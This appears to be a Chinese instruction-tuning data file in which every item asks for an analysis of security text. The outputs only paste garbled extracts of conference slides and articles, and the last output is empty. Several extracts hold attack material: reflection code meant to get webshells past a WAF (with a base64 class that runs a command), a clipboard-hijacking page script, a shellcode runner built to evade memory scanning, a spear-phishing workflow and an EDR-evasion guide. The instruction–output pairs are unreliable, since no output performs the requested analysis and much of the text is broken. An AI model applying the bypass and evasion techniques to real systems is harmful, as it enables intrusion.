Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

mdm 0x00 mdm 0x01 apache -> 443apache -> apachemod_mdm.so -> unixsocket -> mdmd apachemod_mdm.somdmmdm unixsocketmdmunix 0x02 -mod_mdm ap_hook_handler hook contenttype application/x-httpd-mdm content type index mdm_servletsservlet mdm_servlets servlet servlet por/mdm_alert.mdm composemsgdo_mdmd_message composemsg httppostpostread destmobileid postbodydest composemsgmsgdestdo_mdmd_message unixmsgpost body 1. postbody 2. unix 3. 0x03 mdm- modmdmmdmmodmdm mod 1. MDMD_MainThread_PipeFile 2. quequemessagerequest 3. mdmd MDMD_MainThread_PipeFile mdmd 1. ReqManager 2. MdmDisManager registerdispatcher performerperformer performer 1. dispatcher 2. moddispatcherdispatcherdispatcher dispatcher namev1performer 0x04 mdm- performerunix performer switch LABEL_8 1. v1929 2. getdevinfobyplist0 v1929 v1933gettypebyplist typerequest_typekeyxml xmlkeyvalue if-elserequest_typetype v192929request_typeupdatemobileid 0x05 apacheunixsocket


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Measuring*the*IQ*of*your*Threat* Intelligence*Feeds*(#TIQtest)* Alex%Pinto% MLSec%Project%% @alexcpsec% @MLSecProject! Kyle%Maxwell% Researcher% @kylemaxwell! Alex%Pinto%  Science%guy%at%MLSec%Project%  ML%trainer%  Network%security%aﬁcionado%%  Tortured%by%SIEMs%as%a%child%  Hacker%Spirit%Animal:% CAFFEINATED%CAPYBARA! whoami(s)* Kyle%Maxwell%  Researcher%at%[REDACTED]%  Math%Smuggler%  Recovering%Incident%Responder%  GPL%zealot%  Hacker%Spirit%Animal:% AXIOMATIC%ARMADILLO! (hUps://secure.ﬂickr.com/photos/kobashi_san/)% (hUp://www.langorigami.com/art/gallery/ gallery.php?tag=mammals&name=armadillo)%  Threat%Intel%102%  Measuring%Intelligence%  Data%Preparaaon%  Tesang%the%Data%  Tools:%  COMBINE%  TIQcTEST%  Some%parang%ideas% Agenda* (hUp://www.savagechickens.com/2008/12/iqctest.html)% Threat*Intel*102:*Capability*and* Intent*  What%are%they%able%to%do?%  What%are%they%intending%to%do?! Threat*Intel*102:*Cage*Matches*  Signatures%vs%Indicators%  Data%vs%Intelligence%  Tacacal%vs%Strategic%  Atomic%vs%Composite% Threat*Intel*102:*Pyramid*of*Pain* Simple%and%easy%arent%always% (David%Bianco%%Pyramid%of%Pain)% What*about*IP*addresses?*  Approximately%same%value%as%hostnames%(APT%vs%DGA)%  Finite%resource%(unal%IPv6,%that%is)%  Managed%/%controlled%by%orgs%  Diﬃculty%/%economic%incenaves%/%implied%cost%  Also,%recyclable%% (hUps://xkcd.com/865/)% Given&IP&addresses&harvested&from& TI&feeds,&can&we&measure&how& much&they&help&our&defense& metrics?! Introducing*TIQGTEST*  All%these%tests%are%available%as%R%funcaons%at%%  hUps://github.com/mlsecproject/aqctest%  Have%fun,%prove%me%wrong,%suggest%stuﬀ%  Tools%that%implement%those%tests%  Sample%data%+%R%Markdown%ﬁle%  The%excuse%to%learn%a%staasacal%language%you%were%waiang% for!% Data*Sources**Types*of*data*  Extract%the%raw%informaaon%from%indicator%feeds%  Both%IP%addresses%and%hostnames%were%extracted% Data*Sources**Feeds*Selected*  Data%was%separated%into%inbound%and%outbound% Data*PreparaLon*and*Cleansing*  Convert%


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

A t a recent computer con- ference, a colleague of mine from a conservative academic institution chatted congenially with another con- ference attendee. At a typical conference such a conversa- tion would be nothing partic- ularly revealing, but this was DEFCON, and the young lady he was speaking with had a stainless steel spike tipped with a blinking green LED pro- truding from her lower lip. While some security researchers have described such conferences as going to a graffiti convention expecting to see those who design spray cans [1], I beg to differ. As a computer scientist you would be remiss in not attending one or more hacker conferences. The effort is worth it. You might see a speaker dance through the vulnerabilities in disassembled binaries with the skill of an Aikido master, another demon- strate a modified game console that boots to Linux, scans an internal network, and reports back to its master via encrypted communication paths, or (to the sound of Megadeth) the teams of Capture the Flag and Root-Fu compete in head-on war games. The intensity and talent would make you keenly aware that, so inclined, these people could take apart your carefully crafted, peer-reviewed applica- tion, protocol, or algorithm and find its weak- nessesperhaps very publicly or without a word being spoken. You need only perform an Internet search on DEFCON, Interz0ne, Phreaknic, and Hackers on Planet Earth to get a sense of the passion these events engender.1 Attendees range from respected tribal elders to immature hangers-on. Rather than distinctly good or bad, my experience has shown that most represent a more intellectually curious, highly principled, authority-averse, scientifically open-minded attitude. The majority are genuine computer experts from highly technical computing disciplines. For the past four years my electrical engineering and computer science department at West Point has arranged for faculty members, including me, staff, and students to attend hacker confe


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1 ClassLoader的理解 前 ClassLoader的特性 最后 补上上次星球奖问答环节的坑(本来北师傅在星球中没改甲名字后来才知道下回答的是北师 傅emmmm尴尬尴尬) 起因是伙伴在hvv的过程中发现WAF会拦截Webshell中defineClass这个函数因为反射可以把我们需 要调的法放到个字符串的位置就可以产各种变形所以就想通过反射来绕过 于是乎就劈啪啦写了这样段代码 然后发现第次连接可以第次再刷新就会直提示类重复加载的错误 前 1 Method defineClass = Class.forName("java.lang.ClassLoader").getDec laredMethod("defineClass", String.class, byte[].class, int.class, int.class); 2 3 defineClass.setAccessible(true); 4 defineClass.invoke(ClassLoader.getSystemClassLoader(), bytes, 0, b ytes.length) 2 其实这个问题主要涉及到对JAVA中类加载机制的理解于是就引申出来另个问题为什么冰蝎跟蚁剑原 来的shell就不会提示类重复加载的错误呢在这篇章跟家分享下的理解 关于类加载机制已经有很多章在这个问题上主要涉及到其中个知识点 个类如果由不同的类加载器实例加载的话会在法区产两个不同的类彼此不可并且在堆中 成不同Class实例 这我们做个实验先写个测试的标类就是简单的弹个计算器 编译然后获取class件的base64结果放到下代码中 需要注意的是完成之后需要在idea中把上弹计算器的类给删掉这样才能模拟加载个不存在类的效 果 ClassLoader的特性 1 package com; 2 3 import java.io.IOException; 4 5 public class calc { 6 public calc() { 7 } 8 9 static { 10 try { 11 Runtime.getRuntime().exec("calc"); 12 } catch (IOException e) { 13 e.printStackTrace(); 14 } 15 16 } 17 } 1 package loader; 2 3 import java.util.Base64; 4 5 public class test1 { 3 运之后发现弹出了计算器因为此时我们加载这个类的ClassLoader就是defineLoader1 6 public static class DefineLoader extends ClassLoader { 7 public Class load(byte[] bytes) { 8 return super.defineClass(null, bytes, 0, bytes.lengt h); 9 } 10 } 11 12 public static void main(String[] args) { 13 String cls = "yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAo ABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJs ZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAApMY29tL2NhbGM7AQAIPGNsa W5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQ cAHAEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAkACgcAIAwAIQAiAQAEY2FsYww AIwAkAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAJQAKAQAIY29tL2NhbGMBABBqYXZh L2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVK ClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZz spTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAA AAgABAAkACgABAAsAAAAvAAEAAQAAAAUqtwABsQAAAAIADAAAAAYAAQAAAAUADQAA AAwAAQAAAAUADgAPAAA


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Exploiting and attacking seismological networks .. Remotely Bertin B  James jara NetDB Search Engine DEFCON 24 Las Vegas, Nevada Disclaimer - This is not a typical talk -Probably it is the first research of this kind -All vulnerabilities have been reported to U.S CERT -We are not responsible of the actions that someone can take after attend this talk -Peace on earth Agenda -Who we are -Motivation -How we discovered this devices? -Risk /Impact , who is affected by attacking this devices ? -Seismological instrumentation -Internals /Deployment/Networking -Vulnerabilities /firmware analysis -Attack vectors / post exploitation -Recommendations/conclusions Bertin Bervis NetDB Co-founder @bertinjoseb James Jara NetDB Co-founder @jamesjara We are from San Jose Costa Rica Motivation Why we are interested in seismological networks? An average attacker is not interested for this attacks Governments are interested.. you know.. ..!@#$% WAR Cool and new attack scenario extreme environment You are playing with devices that measure natural disasters Could lead to a financial sabotage to a specific company/country The vendors of this instruments doesnt have any sense of computer security Remote access, remote exploitation Ok lets continue this project How we discovered this devices? DEMO Fingerprints too many fingerprints For some strange reason you find a unique fingerprint in millions DEMO So.. WTF is TAURUS ???? Lets connect to that shit NOW! Seismometers are instruments that measure motion of the ground, including those of seismic waves generated by earthquakes, volcanic eruptions, and other seismic sources. Records of seismic waves allow seismologists to map the interior of the Earth, and locate and measure the size of these different sources. Wikipedia Common aplications: -Earthquake detection -Geophysics, geothermal development -Structural analysis -Mine safety -Fracking / Drilling GPS REAL DATA LOCATION DEMO Ocean bottom seismograph Impact -No one else has ever done a resear


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Free PowerPoint Templates Old McDonald Had A Barcode E-I E-I CAR Free PowerPoint Templates RICHARD HENDERSON DEF CON 29  Las Vegas, NV USA  August 2021 Who Am I? Richard: Ham/electronics nerd, writer, infosec professional. DEF CON trainer, contest runner. @RichSentMe Preface: What would happen if you built a system that is designed to accept barcode inputs but didnt do any input validation? Free PowerPoint Templates Free PowerPoint Templates What IS the EICAR string? Free PowerPoint Templates Free PowerPoint Templates X5O!P%@AP[4\PZX54(P)7CC)7}$EICAR -STANDARD-ANTIVIRUS-TEST- FILE!$H+H* Free PowerPoint Templates Free PowerPoint Templates Who created it? What is it used for? How does it work? Free PowerPoint Templates Free PowerPoint Templates QR Codes Free PowerPoint Templates Free PowerPoint Templates Free PowerPoint Templates Free PowerPoint Templates What would happen if you put the two together? Free PowerPoint Templates Free PowerPoint Templates Free PowerPoint Templates Where did this whole thing start? Free PowerPoint Templates Free PowerPoint Templates Free PowerPoint Templates Free PowerPoint Templates Beyond a sticker on your car, what else could you do? Free PowerPoint Templates Free PowerPoint Templates Free PowerPoint Templates Free PowerPoint Templates  This video was sent to me by a random friend I would never do something stupid like this.  This is a passport scanner at a port of entry  Many countries now offer people entering a smartphone app to digitally fill out their customs entry card and that app creates a QR code that the passport machines can read Free PowerPoint Templates So what happened here? Free PowerPoint Templates Free PowerPoint Templates Why does this attack work? Free PowerPoint Templates Free PowerPoint Templates Much like ICS and SCADA where companies just "bolted-on" internet connectivity with zero thoughts of the security implications of doing so, companies are making devices "smart" and not really thinking very much about how p


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

HTTP Desync Attacks: Smashing into the Cell Next Door James Kettle - james.kettle@portswigger.net - @albinowax Abstract HTTP requests are traditionally viewed as isolated, standalone entities. In this paper, I'll explore forgotten techniques for remote, unauthenticated attackers to smash through this isolation and splice their requests into others, through which I was able to play puppeteer with the web infrastructure of numerous commercial and military systems, rain exploits on their visitors, and harvest over $60k in bug bounties. Using these targets as case studies, I'll show you how to delicately amend victim's requests to route them into malicious territory, invoke harmful responses, and lure credentials into your open arms. I'll also demonstrate using backend reassembly on your own requests to exploit every modicum of trust placed on the frontend, gain maximum privilege access to internal APIs, poison web caches, and compromise PayPal's login page. HTTP Request Smuggling was ﬁrst documented back in 2005 by Watchﬁre1, but a fearsome reputation for difﬁculty and collateral damage left it mostly ignored for years while the web's susceptibility grew. Alongside new attack variants and exploitation vectors, I'll help you tackle this legacy with custom open-source tooling and a reﬁned methodology for reliable black-box detection, assessment and exploitation with minimal risk of collateral damage. Core concepts Since HTTP/1.1 there's been widespread support for sending multiple HTTP requests over a single underlying TCP or SSL/TLS socket. The protocol is extremely simple - HTTP requests are simply placed back to back, and the server parses headers to work out where each one ends and the next one starts. This is often confused with HTTP pipelining2, which is a rarer subtype that's not required for the attacks described in this paper. By itself, this is harmless. However, modern websites are composed of chains of systems, all talking over HTTP. This multi-tiered archite


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

单步加解密执行shellcode 0x00 前言 国庆收假看见这么一段代码非常有意思文字不太好表述代码的执行流程如图所示 这个图没有很多执行细节因此并不是很准确但是已经能够表达我的意思了简短的说就是 边解密 边执行 再加密这样内存中只有很小的一部分代码是明文状态其他的代码都是密文状态 上图只是一个概念图真正编写代码是细节到单条指令的具体代码 https://gist.github.com/jackullrich/ce3b5263e05c88548b175f4f21909384 在这段代码中我站在新手同学角度思考可能有以下几个地方需要理解 typedef VOID(__stdcall* Shellcode)(); 向量化异常处理AddVectoredExceptionHandler 详细的执行流程 其他部分都非常好理解下面我们开始读代码并解释以上问题 0x01 阅读代码 我把代码拆分为几段 第一段 Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-09 No. 1 / 7 - Welcome to www.red-team.cn 这段代码中头文件函数声明和全局变量都是基础的C语言编程不用解释但是其中的 这段代码我刚学C的时候不太理解后来才知道被书误导了通常我们学习typedef的时候是和 #define做对比例如这个菜鸟教程https://www.runoob.com/cprogramming/c-typedef.html如 下 C 语言提供了 typedef 关键字您可以使用它来为类型取一个新的名字下面的实例为单字节数 字定义了一个术语 BYTE 在这个类型定义之后标识符 BYTE 可作为类型 unsigned char 的缩写例如 这样就很难理解上面的代码了正确的理解typedef应该是这样的https://blog.csdn.net/weixin_4225 5385/article/details/82261774 typedef用来声明一个别名typedef后面的语法是一个声明本来笔者以为这里不会产生什么 误解的但结果却出乎意料产生误解的人不在少数罪魁祸首又是那些害人的教材在这些教材 中介绍typedef的时候通常会写出如下形式 typedef int PARA; 这种形式跟#define int PARA几乎一样如前面几章所述这些教材的宗旨是由浅入深但实际做 出来的行为却是以偏盖全的确这种形式在所有形式中是最简单的但却没有对typedef进一步 解释使得不少人用#define的思维来看待typedef把int与PARA分开来看int是一部分PARA 是另一部分但实际上根本就不是这么一回事int与PARA是一个整体就象int i:声明一样是一个 整体声明只不过int i定义了一个变量而typedef定义了一个别名这些人由于持有这种错误的 观念就会无法理解如下一些声明 typedef int a[10]; typedef void (*p)(void); 他们会以为a[10]是int的别名(*p)(void)是void的别名但这样的别名看起来又似乎不是合法的名 字于是陷入困惑之中实际上上面的语句把a声明为具有10个int元素的数组的类型别名p是 一种函数指针的类型别名 虽然在功能上typedef可以看作一个跟int PARA分离的动作但语法上typedef属于存储类声明 说明符因此严格来说typedef int PARA整个是一个完整的声明 #include <Windows.h> LONG SingleStepEncryptDecrypt(EXCEPTION_POINTERS* ExceptionInfo); typedef VOID(__stdcall* Shellcode)(); LPBYTE ShellcodeBuffer; ULONG_PTR PreviousOffset; ULONG_PTR CurrentOffset; ULONGLONG InstructionCount; DWORD dwOld; typedef VOID(__stdcall* Shellcode)(); typedef unsigned char BYTE; BYTE b1, b2; Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-09 No. 2 / 7 - Welcome to www.red-team.cn 定义一个函数指针类型 比如原函数是 void func(void); 那么定义的函数指针类型就是typedef void (*Fun)(void); 然后用此类型生成一个指向函数的指针 F


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

June 22, 2011 i Copyright 2011, Electronic Grymoire LLC : Bruce Barnett <deception@grymoire.com> June 22, 2011 ii Copyright 2011, Electronic Grymoire LLC Contents Introduction ................................................................................................................ 1 Similarities between Magicians and Hackers ...................................................... 1 The Magicians Arsenal ............................................................................................. 2 Physical techniques or Props .............................................................................. 2 The Gaff ................................................................................................................ 3 The Fake ............................................................................................................... 3 The Gimmick ....................................................................................................... 3 Human Accessories ............................................................................................... 3 Stooge.................................................................................................................... 4 Unwitting Accomplice ...................................................................................... 4 Psychological techniques ..................................................................................... 4 Appearance of normalcy .................................................................................. 4 Misdirection ......................................................................................................... 5 The Sleight ........................................................................................................... 5 The Feint............................................................................................................... 5 The Bluff ....................................................................


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

SCADA安全問題 安全問題 安全問題 安全問題 你不能不知的真相 你不能不知的真相 你不能不知的真相 你不能不知的真相 國家資通安全會報 技術服務中心 洪光鈞 劉作仁 谷威涵 陳培德 101年6月29日 大綱 大綱 大綱 大綱 SCADA簡介 SCADA面臨的安全問題 SCADA軟體安全檢測 漏洞揭露與通報經驗 安全防護與挑戰 1 SCADA簡介 簡介 簡介 簡介 2 SCADA簡介 簡介 簡介 簡介 SCADA-監視控制與資料擷取系統 (Supervisory Control and Data Acquisition)  屬工業控制系統(Industrial Control System 簡稱ICS)的一部分  具有系統監控和資料擷取功能的軟體都 可以稱之為 SCADA 不同領域應用所需的功能不盡相同 但都具有以下的基本單元  人機界面 (Human Machine Interface, HMI)  監控系統與資料擷取  遠端遙控單元 (Remote Terminal Unit, RTU)  可程式邏輯控制器 (Programmable Logic Controller, PLC)  通訊網路 (Communication infrastructure) 3 SCADA運作方式 運作方式 運作方式 運作方式 SCADA系統(軟體)可透過電 腦 (或 PLC) 及使用者介面對 相關硬體設備進行程序控制 和資料擷取  在電廠中要蒐集各個區域 電廠的電壓溫度濕度及 變電所的狀態等資訊  透過主控器監視並記錄這些 參數  對蒐集的資訊加以分析判 讀以進行電壓調節  或在意外狀況發生時能夠加 以處理 資料來源:http://en.wikipedia.org/wiki/SCADA 4 工業控制與管理系統生產模型 工業控制與管理系統生產模型 工業控制與管理系統生產模型 工業控制與管理系統生產模型 Level 3 Level 3 Level 3 Level 1 Level 1 Level 1 Level 0 Level 0 Level 0 Level 4 Level 4 Level 4 Manufacturing Operations Management Manufacturing Operations Management Plant Control Plant Control Physical Equipment Physical Equipment Bussiness Planning Bussiness Planning Level 2 Level 2 Level 2 Supervisory Control Supervisory Control MES, LIMS, WMS, CMM Systems MES, LIMS, WMS, CMM Systems PLC(Program Logic Control), DCS(Distributed Contorl System) PLC(Program Logic Control), DCS(Distributed Contorl System) I/O, Devices, Sensors I/O, Devices, Sensors ERP, APO, Logistics Systems ERP, APO, Logistics Systems HMI, SCADA, Batch Systems HMI, SCADA, Batch Systems 5 SCADA運用範圍 運用範圍 運用範圍 運用範圍 廣泛運用於關鍵基礎設施如電力系統水利 系統石油天然氣交通化工及汽車業等 6 SCADA面臨的安全問題 面臨的安全問題 面臨的安全問題 面臨的安全問題 7 2007那年一切都是從她開始 那年一切都是從她開始 那年一切都是從她開始 那年一切都是從她開始 2004~2005 大家談論SCADA安全性多為紙上 談兵 2006  SCADA Security & Terrorism: Were Not Crying Wolf presentation to the Black Hat Federal 2006 Conference by ISS X-Force 直到她的出現 2007  Hackers Take Down the Most Wired Country in Europe for a period of two weeks.  Wired Magazine 2007  Solar Sunrise  Three teenagers penetrate US Air Force logistic systems at various Middle East support bases 20


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

@Y4tacker GoogleCTF2022-Log4j 写在前 唯个Java题了挺有意思的道题学到很多 题附件https://github.com/google/google-ctf/tree/master/2022/web-log4j 预期分析 题给了个公环境(题似乎没有重启能猜到不可能是RCE)以及附件压缩包同时 有python以及java的环境先简单看看python的这运了web服务将输作为分割传 chat函数后通过subprocess调命令执并返回结果这不存在命令注 app = Flask(__name__) @app.route("/", methods=['GET', 'POST']) def start(): if request.method == 'POST': text = request.form['text'].split(' ') cmd = '' if len(text) < 1: return ('invalid message', 400) elif len(text) < 2: cmd = text[0] text = '' else: cmd, text = text[0], ' '.join(text[1:]) 因此重点就是分析这个java的件很简单的代码(同时可以看到这有LOG4J2) result = chat(cmd, text) return result return render_template('index.html') def chat(cmd, text): # run java jar with a 10 second timeout res = subprocess.run(['java', '-jar', '-Dcmd=' + cmd, 'chatbot/target/app-1.0-SNAPSHOT.jar', '--', text], capture_output=True, timeout=10) print(res.stderr.decode('utf8')) return res.stdout.decode('utf-8') if __name__ == '__main__': port = os.environ['PORT'] if 'port' in os.environ else 1337 app.run(host='0.0.0.0', port=port) import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import java.lang.System; import java.time.format.DateTimeFormatter; import java.time.LocalDateTime; public class App { public static Logger LOGGER = LogManager.getLogger(App.class); public static void main(String[]args) { //获取环境变量当中的flag,同时这可以知道我们需要获取到环境变量 String flag = System.getenv("FLAG"); if (flag == null || !flag.startsWith("CTF")) { LOGGER.error("{}", "Contact admin"); } //志输出命令参数 LOGGER.info("msg: {}", args); // TODO: implement bot commands String cmd = System.getProperty("cmd"); if (cmd.equals("help")) { doHelp(); return; } if (!cmd.startsWith("/")) { System.out.println("The command should start with a /."); return; } //根据命令参数执doCommand简单可以看出这没什么利 doCommand(cmd.substring(1), args); } private static void doCommand(String cmd, String[] args) { switch(cmd) { case "help": doHelp(); break; case "repeat": System.out.println(args[1]); break; case "time": DateTimeF


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Chrome 0x00 chrome JS 0x01 cmd app 1. xsssql 2. 0x02 js <!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>testclipboard</title> </head> <body> <div>testclip</div> <script> setInterval(function(){ try { let type = 'text/plain'; let blob = new Blob( [ 'magnet:?xt=urn:btih:5666f8bc53789cd7aae003933f15855a73257356&dn=ssni-954- C.torrent' ], { type } ); let item = new ClipboardItem({[type]: blob }); navigator.clipboard.write([item]); } catch (err) {} },2000); </script> </body> </html> 0x03 <!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>testclipboard</title> </head> <body> <div>testclip</div> <script> setInterval(function(){ try { let type = 'text/plain'; let blob = new Blob( [ '4-I:/ .. ξCULCb8NKszcv8ωω ' ], { type } ); let item = new ClipboardItem({[type]: blob }); navigator.clipboard.write([item]); } catch (err) {} },2000); </script> </body> </html> pc chromePC pc 0x04 pcChromewebkit


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Slide: 1 MetaPhish Val Smith (valsmith@attackresearch.com) Colin Ames (amesc@attackresearch.com) David Kerb (dkerb@attackresearch.com) Slide: 2 Bios Valsmith  Affiliations:  Attack Research  Metasploit  Work:  Attack Techniques Research  Pen Tester/ Exploit developer  Reverse Engineer  Malware Analyst Previous Talks  Exploiting malware & vm detection  Kernel mode deobfuscation of malware  Data mining malware collections  Tactical Exploitation  Post Exploitation  Analysis of foreign web attacks Slide: 3 Overview  Spear Phishing for PenTesting  Working on a Framework on top of Metasploit  Phile Phishing  Web Phishing  MSF automation  Abusing TOR  Tying it all together Slide: 4 SpearPhishing  This is the way people are getting in NOW  Remote exploits much less prevalent  Blended attacks combining:  Web  File formats  Malware  Social Engineering Slide: 5 SpearPhishing How often do you pen test this way? Do clients let you? Slide: 6 SpearPhishing Youre missing a major vector! Slide: 7 SpearPhishing  Attackers now use targeted client side methods  Web kits prevalent  Mpack, tornado, adpack, luckyspolit, zunker  Who knows whats in these ?  Uncontrolled environment  File format exploits abound  Sometimes get built into MSF,Core  Same problems as web kits  Little public knowledge of FF RE methods  Solution? RE what the attackers do and make their techniques reliable Slide: 8 Work Flow  Thoroughly recon target  Build a legend for your attack  Find plausible documents from the target  Build your vector  Infect PDFs  Build a malicious website  Cast your line  send the target the lure Slide: 9 Work Flow  Setup a server side exploitation system that can handle many clients at once  Receive the incoming access  Design to bypass their firewalls  Look for proxies, HIDS/HFW, egress ports  Inject into preauthorized browsers  Automate your postexploitation actions  Scripts to grab passwords, install backdoors, enumerate info, grab tokens, log manipulation  Complex, needs a framework Sl


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

撤销和规避EDRs 指南 一.简介 EDREndpoint Detection Responser端点态势感知和响应用来针对APT攻击活动 本文属于翻译文章原文这里:http://jackson-t.ca/edr-reversing-evading-01.html 在我翻译之时作者仅仅给出了前三部分后面还未上线如果作者发表了我会第一时间跟踪并分享给 大家 指得一提的是 1.个人语言能力较差某处按照自己的理解难免有些画蛇添足希望师傅们优先看原文 2.之前了解到EDR和AV不同之处就在于EDR专门针对APT的具体细节没去了解因此本系列是边学边 了解 3.如有错误欢迎指正以免误导他人推荐看原文 比如有个地方 phone home确实无法理解可 能涉及到英文的俚语面对技术首先就要认真对待之前的翻译有些太草率了欢迎各位师傅一起交 流学习 索引 第一部分介绍 第二部分传感器侦察 第三部分转移EDR遥测到私有地址 第四部分融入 -- 即将到来 第五部分滥用盲点 第六部分篡改传感器 第七部分改变目的 什么是遥测的 Telemetry 就是在远程点收集的测量值或其他数据并将其自动传输到接收设备 以进行监视 二.第一部分 介绍 两个月前我有幸私下出现了一次两小时谈话关于逆转和规避技术可以抽象为多种EDR产品我收到了 一些请求发布资料因此我开始将此系列放到一起 这篇文章会比原始材料更淡化一点因为我不能发布某些产品检测细节相反我会讨论我的某些基础 想法和思考过程 目标听众是红队和攻击性开发人员并且我认为防守也会受益学习这些产品的细节可能是令人生畏 的令人有希望的是揭开神秘面纱都是在不懂的情况下(兴趣是唯一的驱动力) 规避概念 端点检测和响应Endpoint Detection and ResponseEDR 产品在执行检测/响应恶意行为期间监控 程序这是对传统AV功能的补充通过签名和启发式在执行之前阻止不想运行的程序在EDR领域一些顶 级厂商包括Mcrosodt,CrowdStrike,Cylance,Carbon Black和FireEye. 尽管规避技术是一个广义的术语但是攻击者EDR的响应可以归为以下方面 1. 回避近一步在未安装产品或者开启产品的系统上实现目标例如在未配置的端点或者已经配 置端点上通过代理流量 2. 混合 :隐藏在EDR传感器通常记录的噪音中例如 使用常见的父子进程关系 3. 滥用盲点采用传感器没有捕获或报告的区域例如使用当前没有被记录的API移除钩子使 用直接系统调用关于直接直接系统调用过EDR/AV 参考这篇文章https://www.cnblogs.com/ macanpsc/p/11670257.html强烈推荐 4. 篡改服务器更改传感器行为以使攻击者收益例如修补传感器以便恶意行为不会被报告或者收 集到 问题陈述&主题 为了检测EDR bypass技术的有效性许多操作者都这样做即在操作过程中是否被检测到在攻击对 和防守方这凸显了能见度不对等如果不能通过遥测和检测查询操纵员很难推断出成果绕过EDR或失 败确切的技术原因 如果一名操作员能够获取独立的访问遥测传感器这能够充当催化剂不但高效的检测bypass而且能够 发现新的盲点或者混合方式并且验证遥测传感器的能力 在不断发展的贸易进攻中我明白了这是基本步骤以下将是研究的主题 逆向工程传感器在不验证情况下获取访问遥感访问权限 使用遥感作为反馈回路来发现盲点或者混合方式 探索一系列复杂的篡改技术使传感器失效 重新调正传感器使传感器作为一个 RAT(娱乐为主) 在这个场景里面我描述建议的方法是搭建一个环境安装EDR传感器但是调整了传感器到自定义基础 结构因此它不会phone home这为A/B提供了机会测试那些行为是被拦截的并且确定混合或者发现盲 点的选项这项选项可以在传感器检测下被用来使用当他们精疲力竭时传感器篡改技术能够被用来 代替使用连接或者事件报道静默侠下来 致谢 今年我没有细致的研究每一个EDR产品首先实话讲这个工作量是很大的没有那些乐于分享知识 的人倾囊相授我无法学习去做这些事情下面是我读过相关的安全产品子版本列表 https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/ https://skylightcyber.com/2019/07/18/cylance-i-kill-you/ https://d4stiny.github.io/Reading-Physical-Memory-using-Carbon-Black/ https://www.mdsec.co.uk/2019/03/silencing-cylance-a-case-study-in-modern-edrs/ https:/


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Secure Messaging For Normal People DEFCON 23 2 Messages 3 Threats 4 Transport Layer Security 5 End-to-End Encryption 6 End to End Server Matchmaking 7 Evil Server 8 Transitive Trust 9 Metadata Collection


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Privacy Infrastructure: Challenges and Opportunities by @yawnbox of @EmeraldOnion for #defcon26 https://emeraldonion.org/ Washington State nonprofit registration June 5, 2017 $50 Washington State nonprofit date of incorporation June 15, 2017 n/a ARIN ASN and IPv6 (/36) registration June 26, 2017 $1,050 IRS EIN registration June 28, 2017 free Datacenter move in and Tor relay start July 2, 2017 $600 ARIN IPv4 (/24) request July 10, 2017 free ARIN IPv4 registration approval July 19, 2017 free IRS 501(c)3 application October 11, 2017 $275 IRS 501(c)3 approval October 27, 2017 n/a starting up https://emeraldonion.org/articles/ Washington State nonprofit registration June 5, 2017 $50 Washington State nonprofit date of incorporation June 15, 2017 n/a ARIN ASN and IPv6 (/36) registration June 26, 2017 $1,050 IRS EIN registration June 28, 2017 free Datacenter move in and Tor relay start July 2, 2017 $600 ARIN IPv4 (/24) request July 10, 2017 free ARIN IPv4 registration approval July 19, 2017 free IRS 501(c)3 application October 11, 2017 $275 IRS 501(c)3 approval October 27, 2017 n/a starting up https://emeraldonion.org/arin/ Autonomous System Number (ASN) 396507 ARIN Policy 4.10: Dedicated IPv4 block to facilitate IPv6 Deployment When ARIN receives its last /8 IPv4 allocation from IANA, a contiguous /10 IPv4 block will be set aside and dedicated to facilitate IPv6 deployment. Allocations and assignments from this block must be justified by immediate IPv6 deployment requirements. Examples of such needs include: IPv4 addresses for key dual stack DNS servers, and NAT-PT or NAT464 translators. ARIN staff will use their discretion when evaluating justifications. This block will be subject to a minimum size allocation of /28 and a maximum size allocation of /24. ARIN should use sparse allocation when possible within that /10 block. In order to receive an allocation or assignment under this policy: 1. the applicant may not have received resources under this policy in the preceding


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

